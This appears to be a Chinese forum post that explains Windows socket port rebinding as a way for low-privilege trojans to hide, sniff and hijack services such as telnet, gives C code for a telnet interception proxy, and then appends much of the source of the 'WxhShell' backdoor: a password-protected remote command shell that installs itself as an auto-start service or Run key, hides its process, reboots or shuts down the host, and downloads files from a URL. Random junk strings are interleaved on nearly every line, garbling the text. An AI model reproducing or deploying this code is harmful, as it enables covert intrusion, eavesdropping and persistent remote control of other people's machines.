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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (j@c946z""  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5HHf3E [  
P* &0HbJ  
  saddr.sin_family = AF_INET; OS<GAA0  
rf@47H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @VIY=qh  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D~i5E9s5  
4<PupJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 l8+)Xk>   
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  这意味着什么?意味着可以进行如下的攻击: W,yLGz\  
WH39=)D%u  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 EyU6^  
RkF^V(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sk 8DW  
oO3 ^9?Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FMF  mn|  
C|IHRw`[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2TB'HNTFx  
d&|5Rk ~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8O{V#aop  
8Ara^Xh}q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v9 /37AU  
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  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /!t:MK;  
DxN\ H"  
  #include (X5y%~;V5a  
  #include -^`s#0( y^  
  #include \zk>cQ  
  #include    w<h8`K`3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "0 %f R"  
  int main() ?,v& o>*  
  { T@P~A)>yo  
  WORD wVersionRequested; N Czabl  
  DWORD ret; -!5l4  
  WSADATA wsaData; u0k'Jh]K  
  BOOL val; toD!RE  
  SOCKADDR_IN saddr; K+M\E[1W  
  SOCKADDR_IN scaddr; N\.g+ W  
  int err; ^pew'p HQ  
  SOCKET s; XI$W  
  SOCKET sc; ~rjK*_3/  
  int caddsize; tQT<1Q02i  
  HANDLE mt; H<ovIMd  
  DWORD tid;   c'VCCXe  
  wVersionRequested = MAKEWORD( 2, 2 ); ~(tt.l#  
  err = WSAStartup( wVersionRequested, &wsaData ); GoX<d{  
  if ( err != 0 ) { .+?]"1>]  
  printf("error!WSAStartup failed!\n"); '?.']U,: $  
  return -1; NPO!J^^  
  } EFI!b60mc  
  saddr.sin_family = AF_INET; v)|a}5={  
   SCMvq?9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d { P$}b  
!@ P{s'<:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wi.E$R ckD  
  saddr.sin_port = htons(23); jjEu  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n.NWS/v_{  
  { =Xid"$  
  printf("error!socket failed!\n"); C{t}q*fG 5  
  return -1; FGc#_4SiL  
  } M e:l)8+  
  val = TRUE; rbv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,+OVRc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z.)*/HGJm  
  { @sZ' --Y  
  printf("error!setsockopt failed!\n"); nI(w7qhub  
  return -1; "^{Hta  
  } ]Y->EME:W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~^'t70 :D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g%^/^<ei  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8 ks\-38n1  
!~7lY]_U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7iv g3*  
  { "9hD4R  
  ret=GetLastError(); `e7vSp  
  printf("error!bind failed!\n"); = 4|"<8'  
  return -1; \f Kn} ]kG  
  } S_??G:i  
  listen(s,2); >bhF{*t#;y  
  while(1) 4XiQ8"C  
  { DW7Jk"\GH  
  caddsize = sizeof(scaddr); Y Fj#{C.  
  //接受连接请求 y9@j-m&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wNFx1u^/)  
  if(sc!=INVALID_SOCKET) 5BLBcw\;  
  { V}2[chbl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7rGp^  
  if(mt==NULL) tOk=m'aUK  
  { V5 9Vf[i|  
  printf("Thread Creat Failed!\n"); Iv9U4  
  break; =)iAU/*N  
  } n >E1\($  
  } XS&;8 PO  
  CloseHandle(mt); B 'd@ms  
  } OQg}E@LZ  
  closesocket(s); #-"C_~-MH  
  WSACleanup(); ,}>b\(Lk  
  return 0; w_QWTD 0  
  }   r t)[}+ox  
  DWORD WINAPI ClientThread(LPVOID lpParam) L KZ<\% X  
  { QGErQ +l  
  SOCKET ss = (SOCKET)lpParam; tdu:imH~  
  SOCKET sc; 0d~?|Nv -  
  unsigned char buf[4096]; D6yE/QeK4  
  SOCKADDR_IN saddr; R Eo{E  
  long num; CL(D&8v8~  
  DWORD val; [{`&a#Q  
  DWORD ret; 4@ny%_/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Yyw3+3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G$/Qcr6W<  
  saddr.sin_family = AF_INET; ]D2 d=\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); DmB?.l-  
  saddr.sin_port = htons(23); 6 Rg>h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g*4^HbVxt  
  { y<v-,b*  
  printf("error!socket failed!\n"); hHOx ]  
  return -1; z<yqQ[  
  } *Kq;xM6Ck  
  val = 100; :8+x&zn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {=3'H?$  
  { j/ARTaO1]"  
  ret = GetLastError(); <{Rz1CMc  
  return -1; dd6l+z  
  } sVnpO$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0Uk;&a0s  
  { *J4 \KU  
  ret = GetLastError(); bi-z%!Z  
  return -1; ?c fFJl  
  } c,G[Rk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VIod6Vk  
  { 2j{T8F\]  
  printf("error!socket connect failed!\n"); ] J|#WtS  
  closesocket(sc); !0KN A1w,  
  closesocket(ss); a?W<<9]  
  return -1; '8@4FXK  
  } bNvc@oo  
  while(1) <fgf L9-  
  { @zt"Y~9i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \x8'K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f/,8sGkX;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7< ?Aou  
  num = recv(ss,buf,4096,0); IFF1wfC  
  if(num>0) b'`C<Rk  
  send(sc,buf,num,0); 8ux  
  else if(num==0) o7v9xm+  
  break; >#.du}t  
  num = recv(sc,buf,4096,0); 7$"5qJ{s  
  if(num>0) P}!pmg6V  
  send(ss,buf,num,0); ,v9*|>4  
  else if(num==0) G{a_\'7  
  break; rPifiLl A>  
  } ]0}NF  
  closesocket(ss); Q$yQ^ mG  
  closesocket(sc); p%\&M bA  
  return 0 ; 2aUE<@RU[  
  } _znn`_N:v  
%=vU Z4  
a3 t||@v!  
========================================================== J b7^'P  
97}l`z;Z  
下边附上一个代码,,WXhSHELL oPF n`8dQ  
[F,s=,S'M  
========================================================== 0v3 8LBH)  
q-+_Y `_\  
#include "stdafx.h" 7;sF0oB5e  
Te>m9Pav  
#include <stdio.h>  ~>3#c#[  
#include <string.h> Z/e[$xT <  
#include <windows.h> ?y[i6yN9  
#include <winsock2.h> "haJwV6-  
#include <winsvc.h> T&E'MB  
#include <urlmon.h> rGQ([e  
"3Ckc"G@  
#pragma comment (lib, "Ws2_32.lib") S\2@~*{-8  
#pragma comment (lib, "urlmon.lib") j>hBNz  
srS5-fs  
#define MAX_USER   100 // 最大客户端连接数 ,@8*c0Y~<!  
#define BUF_SOCK   200 // sock buffer W)odaab7  
#define KEY_BUFF   255 // 输入 buffer &&sm7F%  
;![rwra  
#define REBOOT     0   // 重启 :*tFW~<*b  
#define SHUTDOWN   1   // 关机 ;x u&%n[6@  
t"&qaG{  
#define DEF_PORT   5000 // 监听端口 19\ V@d^  
?r.U5}PBI  
#define REG_LEN     16   // 注册表键长度 <x:^w'V_b  
#define SVC_LEN     80   // NT服务名长度 hx}X=7w  
, #(k|Zztc  
// 从dll定义API *MXE>   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DC'L-]#<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eqU y>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {"*gX&;~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :-T[)Q+-3  
D.w6/DxaXa  
// wxhshell配置信息 Gmmh&Uj  
struct WSCFG { =$< .:b  
  int ws_port;         // 监听端口 CYhSCT!-?  
  char ws_passstr[REG_LEN]; // 口令 qoC<qn{.a  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8+&Da  
  char ws_regname[REG_LEN]; // 注册表键名 zi+NQOhR  
  char ws_svcname[REG_LEN]; // 服务名 OT3~5j1[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /+?eSgM/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H66F4i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i#Z#(D `m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JuR x>F4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4FJA+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TmLfH d  
]P4?jKI  
}; xL!@$;J  
@`rC2-V  
// default Wxhshell configuration W@vCMy!  
struct WSCFG wscfg={DEF_PORT, Q.l3F3;  
    "xuhuanlingzhe", eeOG(@@o(  
    1, |k/;1.b!9(  
    "Wxhshell", "bvob G  
    "Wxhshell", "1-z'TV=  
            "WxhShell Service", Pt7yYl&n7^  
    "Wrsky Windows CmdShell Service", )1Z @}o 9  
    "Please Input Your Password: ", _qSVYVJ u  
  1, UH7FIM7kX  
  "http://www.wrsky.com/wxhshell.exe", >u?a#5R:m  
  "Wxhshell.exe" S 0mt8/ M  
    }; vF'Y; M  
hJ*#t<.<P;  
// 消息定义模块 P,K^ oz}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #9]O92t2UV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F Xp_`9.zH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /wJocx]vQ  
char *msg_ws_ext="\n\rExit."; '6f)^DYA'?  
char *msg_ws_end="\n\rQuit."; cIXqnb  
char *msg_ws_boot="\n\rReboot..."; OCWyp  
char *msg_ws_poff="\n\rShutdown..."; M HKnHPv  
char *msg_ws_down="\n\rSave to "; Lz`_&&6  
~Z$Ro/;l  
char *msg_ws_err="\n\rErr!"; d@+u&xrd  
char *msg_ws_ok="\n\rOK!"; X;yThb` iI  
Wf-Pa9  
char ExeFile[MAX_PATH]; [LKzH!  
int nUser = 0; ?q}:ojrs1  
HANDLE handles[MAX_USER]; NxN~"bfh  
int OsIsNt; x UTlM  
KzLkT7,y+  
SERVICE_STATUS       serviceStatus; Ihx[S!:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \S)cVp)h  
_?;74VWA  
// 函数声明 (*V:{_r  
int Install(void); H:,Hr_;nC  
int Uninstall(void); p!+bn,?G  
int DownloadFile(char *sURL, SOCKET wsh); (6X{ &  
int Boot(int flag); 23P7%\  
void HideProc(void); d+&w7/F  
int GetOsVer(void); XOPiwrg%p  
int Wxhshell(SOCKET wsl); NnO%D^P]  
void TalkWithClient(void *cs); L?b;TjLe  
int CmdShell(SOCKET sock); cf*SWKs  
int StartFromService(void); UkM#uKr:  
int StartWxhshell(LPSTR lpCmdLine); 3ZX#6*(}2  
6:`4bo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (Iv*sd *  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7J5Yzu)D  
)S|&3\  
// 数据结构和表定义 iq3TP5%i  
SERVICE_TABLE_ENTRY DispatchTable[] = 7$Pf  
{ QzV%m0  
{wscfg.ws_svcname, NTServiceMain}, r/RX|M  
{NULL, NULL} g ~>nT>6  
}; NdM \RD_R  
Rh{`#dI~=  
// 自我安装 Ksvk5r&y  
int Install(void) c) _u^Dh  
{ QTjnXg?Ri  
  char svExeFile[MAX_PATH]; Z#s-(wf  
  HKEY key; `/o|1vv@_  
  strcpy(svExeFile,ExeFile); 4+F@BxpB  
hF9y^Hx4  
// 如果是win9x系统,修改注册表设为自启动 8k?V&J `  
if(!OsIsNt) { e@g=wN"@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @{@)gE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]N6UY  
  RegCloseKey(key); >\!k~Zi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G( #EW+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GCp90  
  RegCloseKey(key); e}2[g  
  return 0; MN_1^T5  
    } R{{?wr6b$  
  } XZj3x',;  
} @[j%V ynf  
else { OTmr-l6  
{5JYu  
// 如果是NT以上系统,安装为系统服务 ~!'T!g%C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yUg'^SEbLk  
if (schSCManager!=0) /F}dC/W  
{ iy|xF~  
  SC_HANDLE schService = CreateService -z>m]YDH  
  ( ]NY^0SqM  
  schSCManager, #QiNSS  
  wscfg.ws_svcname, xm> y3WC  
  wscfg.ws_svcdisp, m0JJPBp  
  SERVICE_ALL_ACCESS, $QaEU="Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,~XAV ;+  
  SERVICE_AUTO_START, #kAk d-QY6  
  SERVICE_ERROR_NORMAL, JgcMk]|'  
  svExeFile, gg$:U  
  NULL, kDc/]Zb%  
  NULL, >UV?n XP}  
  NULL, 0|]qW cD  
  NULL, /5Xt<7vm8  
  NULL L}>ts(!q&  
  ); 5[H1nC @C  
  if (schService!=0) z#+Sf.  
  { 9zaSA,}  
  CloseServiceHandle(schService); KZ|p_{0&  
  CloseServiceHandle(schSCManager); @EUvx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B'D~Q  
  strcat(svExeFile,wscfg.ws_svcname); 0B(Y{*QB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sUpSXG-W/@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D1cnf"y^  
  RegCloseKey(key); Gvqu v\  
  return 0; Qe]aI7Ei  
    } h]k1vp)Q y  
  } %6TS_IpJ  
  CloseServiceHandle(schSCManager); hu:x,;`9H  
} aTE;Gy,W  
} 4J$dG l#f  
Enqs|fkbN  
return 1; *%2,= p  
} k~qZ^9QB~  
Y2(,E e2  
// 自我卸载 36yIfC,  
int Uninstall(void) FK;2u $:  
{ OdtS5:L  
  HKEY key; I6[=tB  
yH.Z%*=xQa  
if(!OsIsNt) { g3\1 3<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @0iXqM#jH  
  RegDeleteValue(key,wscfg.ws_regname); J%8hf%! ud  
  RegCloseKey(key); 8 %^W<.Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [<VyH.  
  RegDeleteValue(key,wscfg.ws_regname); W! GUA<  
  RegCloseKey(key); Ej'N !d.  
  return 0; ]wV_xZ)l^A  
  } IUQYoKz4}A  
} zO3}c3D~q  
} d&%}u1 .  
else { X/23 /_~L`  
(2r808^2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3s Mmg`  
if (schSCManager!=0) n;~6'f xe  
{ <Sp>uhet1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l"9$lF}  
  if (schService!=0) }*56 DX  
  { T0K*!j}O  
  if(DeleteService(schService)!=0) { DcEGIaW  
  CloseServiceHandle(schService); _cQhT  
  CloseServiceHandle(schSCManager); }1P v6L(o)  
  return 0; ^c:I]_Ww  
  } !6`&0eY  
  CloseServiceHandle(schService); ie<m)  
  } Z^GXKOeq  
  CloseServiceHandle(schSCManager); GD#W=O  
} dt(Lp_&v  
} N~9zQ  
e)]DFP[ n  
return 1; (z X&feq  
} r+}<]?aT>-  
ib~EQ?u{  
// 从指定url下载文件 2G }@s.iE  
int DownloadFile(char *sURL, SOCKET wsh) Xvn \~Vr  
{ OZE.T-{  
  HRESULT hr; =+VI{~.|}  
char seps[]= "/"; +<f!#4T  
char *token; avxI%%|  
char *file; PpR eqmo  
char myURL[MAX_PATH]; B{lL}"++0  
char myFILE[MAX_PATH]; j4Y] 8  
s7:w>,v/  
strcpy(myURL,sURL); *5R91@xt  
  token=strtok(myURL,seps); XC\'8hL:  
  while(token!=NULL) "S3U]zw0_  
  { a>Xq   
    file=token; *|)O  
  token=strtok(NULL,seps); ^tl&FWF  
  } Sigu p#.p  
=B ts  
GetCurrentDirectory(MAX_PATH,myFILE); K?,`gCN}v  
strcat(myFILE, "\\"); ,pVq/1  
strcat(myFILE, file); _OR[RGy  
  send(wsh,myFILE,strlen(myFILE),0); bk4G+wGw  
send(wsh,"...",3,0); q4ej7T8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Owm2/  
  if(hr==S_OK) +!<{80w  
return 0; [N1[khY`  
else #5_pE1  
return 1; No(S#,vJ;  
d4A3DTW  
} luV_  
<& =3g/Y  
// 系统电源模块 /V!gF+L  
int Boot(int flag) Bt"*a=t;  
{ 3vF-SgCV  
  HANDLE hToken; ??XtN.]7  
  TOKEN_PRIVILEGES tkp; zK&J2P`  
q@iZo,Yk  
  if(OsIsNt) { Vvk \ $'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rOXh?r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R|dSjEs  
    tkp.PrivilegeCount = 1; 9XW[NY#)#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2Jn?'76`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zz56=ZX*_  
if(flag==REBOOT) { WvHy}1W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  `/eh  
  return 0; LZrkFkiC  
} T( sEk  
else { q'<K$4_,%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j0IuuJ+  
  return 0; 5c3&4,,eR  
} cUZ^,)8 Z  
  } ,:"c"   
  else { BG2Z'WOH  
if(flag==REBOOT) { gBXJ/BW$y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r2>y !Q?  
  return 0; He)dm5#fg  
} _D."KU|  
else { 9Q*zf@w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9NcC.}#-5  
  return 0; =s[P =dU  
} R86:1  
} )lB*] n`Z]  
,v*<yz/  
return 1; ($:JI3e[;  
} "=XRonQZ  
kNTxYJ  
// win9x进程隐藏模块 407;M%?'A  
void HideProc(void) i@`T_&6l  
{ ?c# v'c^=h  
 Q-Rt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1F }mlyS  
  if ( hKernel != NULL ) "Kt[jV;6  
  { &1,qC,:!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t&Z:G<;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #ui7YUR=2  
    FreeLibrary(hKernel); cy4V*zwp  
  } Ue]GHJ2  
j8#B  
return; N^&T5cAC  
} ppo\cy;  
RBM4_L  
// 获取操作系统版本 D1<$]r,  
int GetOsVer(void) ^LJ?GJ$g  
{ |p{FSS  
  OSVERSIONINFO winfo; ;l'kPUv([  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E>6:59+  
  GetVersionEx(&winfo); }9ZcO\M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  <IL$8a  
  return 1; Cn(0ID+3f  
  else xT1{O`  
  return 0; _Vxk4KjP5  
} Z]I yj 97  
#y%?A;  
// 客户端句柄模块 "Crm\UI6  
int Wxhshell(SOCKET wsl) k!6wVJ|_Y  
{ _w>9Z>PR  
  SOCKET wsh; /4n:!6rt  
  struct sockaddr_in client; SgocHpyg  
  DWORD myID; '^Ce9r}  
H Ql_ /:Wx  
  while(nUser<MAX_USER) u6(>?r-  
{ ;qT7BUh(%  
  int nSize=sizeof(client); Dx<CO1%z-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 27Ve$Q8]v  
  if(wsh==INVALID_SOCKET) return 1; |);-{=.OdQ  
x9!vtrM\Zr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |J#mgA}(  
if(handles[nUser]==0) Z*(lg$A9 M  
  closesocket(wsh); u2xb^vu  
else _ s[v:c  
  nUser++; kGSB6  
  } N2^B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H|iY<7@  
/N&)r wc  
  return 0; v/yt C/WH"  
} 8L7ZWw d  
D*R49hja{  
// 关闭 socket W}U-u{Z  
void CloseIt(SOCKET wsh) ^J=l]  l  
{ YSE6PG   
closesocket(wsh); icPg<>TQ  
nUser--; 8?r RLM4  
ExitThread(0); 4X &\/X  
} cSSrMYX2  
L4'FL?~I  
// 客户端请求句柄 V5{^R+_)Ya  
void TalkWithClient(void *cs) p}'uCT ga  
{ ?#LbhO*   
EO5k?k[*  
  SOCKET wsh=(SOCKET)cs; {~"6/L  
  char pwd[SVC_LEN]; 8f<[Bu ze  
  char cmd[KEY_BUFF]; eY1$s mh t  
char chr[1]; BEzF'<Z  
int i,j; @*gm\sU4  
6*<=(SQI  
  while (nUser < MAX_USER) { V nv9 <=R  
=wW3Tr7~  
if(wscfg.ws_passstr) { &&;ol}W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2I#4jy/g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JL4\%  
  //ZeroMemory(pwd,KEY_BUFF); lll]FJ1  
      i=0; ^c{,QS{  
  while(i<SVC_LEN) { ;_lEu" -  
8@|rB3J  
  // 设置超时 ^vjN$JB  
  fd_set FdRead; VzR (O B  
  struct timeval TimeOut; lnFOD+y9  
  FD_ZERO(&FdRead); eswsxJ/!  
  FD_SET(wsh,&FdRead); 7lvUIc?krW  
  TimeOut.tv_sec=8; >k?/'R  
  TimeOut.tv_usec=0; w$cic  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;y7V-sf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bV#U&)|  
b&;1b<BwD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oA kF  
  pwd=chr[0]; zOpl#%"  
  if(chr[0]==0xd || chr[0]==0xa) { %7PprN0>  
  pwd=0; _|S>, D'  
  break; "bRg_]\q6  
  } -T4{PM  
  i++; *@q+A1P7@  
    } $C UmRi{T  
$Wy7z^ t  
  // 如果是非法用户,关闭 socket :Gh* d)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BHE((3  
} av(d0E}}b  
fa#]G^f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]Ph~-O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g< cR/  
3:i4DBp,i  
while(1) { Ds$8$1=L=k  
\]U@=w  
  ZeroMemory(cmd,KEY_BUFF); )*I=>v.Jq  
%:n1S]Vr  
      // 自动支持客户端 telnet标准   v2dCkn /  
  j=0; @+ VvZc2Y  
  while(j<KEY_BUFF) { "msCiqF{z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k[l+~5ix  
  cmd[j]=chr[0];  I)E+  
  if(chr[0]==0xa || chr[0]==0xd) { OYJy;u3"  
  cmd[j]=0; I72UkmK`  
  break; L!3AiAnr  
  } fv !l{  
  j++; K h9$  
    } U RDb  
{4 !%'~  
  // 下载文件 Q/6T?{\U7  
  if(strstr(cmd,"http://")) { w~EXO;L2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ru Q\H0pr  
  if(DownloadFile(cmd,wsh)) ^lT$D8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bo?uwi  
  else h'<}N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p3:x\P<|  
  } 0K'lr;  
  else { e0HG"z4  
/>XfK,c-  
    switch(cmd[0]) { Wxg,y{(`  
  YNbs* i&  
  // 帮助 pr\yc  
  case '?': { e| (jv<~r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H*3f8A&@s  
    break; sJX/YGHt  
  } j?1\E9&4-Q  
  // 安装 !W/Og 5n  
  case 'i': { !%NxSJ  
    if(Install()) k0?4vA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |H5){2V>K  
    else j3VM !/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ??{(.`}R~  
    break; |v8>22y  
    } GEwgwenv  
  // 卸载 ,JT|E~P?8  
  case 'r': { MQ2gzKw>  
    if(Uninstall()) {o7ibw=E)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^aDos9SyV  
    else *Xt#04_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K;G1cFFyG  
    break; E=w$r  
    } B8 -/ C\  
  // 显示 wxhshell 所在路径 3=) /-l  
  case 'p': { &Z5$ 5,[  
    char svExeFile[MAX_PATH]; _%!C;`3Y  
    strcpy(svExeFile,"\n\r"); JGSeu =)  
      strcat(svExeFile,ExeFile); (`4^|_gw  
        send(wsh,svExeFile,strlen(svExeFile),0); Kwfrh?  
    break; +Bv{A3E9  
    } o(>!T=f  
  // 重启 8[,,Kr)-  
  case 'b': { a@zKi;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $I-$X?  
    if(Boot(REBOOT)) q^Lj)zmnK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9x&,`95O  
    else { .t xgb  
    closesocket(wsh); d6<,R;)  
    ExitThread(0); 5?k_Q"~  
    } 7'j?GzaQ+  
    break; ,]~iIoTi  
    } }_0?S0<#  
  // 关机 M{zzXE[@  
  case 'd': { a<sE dp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QY-P!JD  
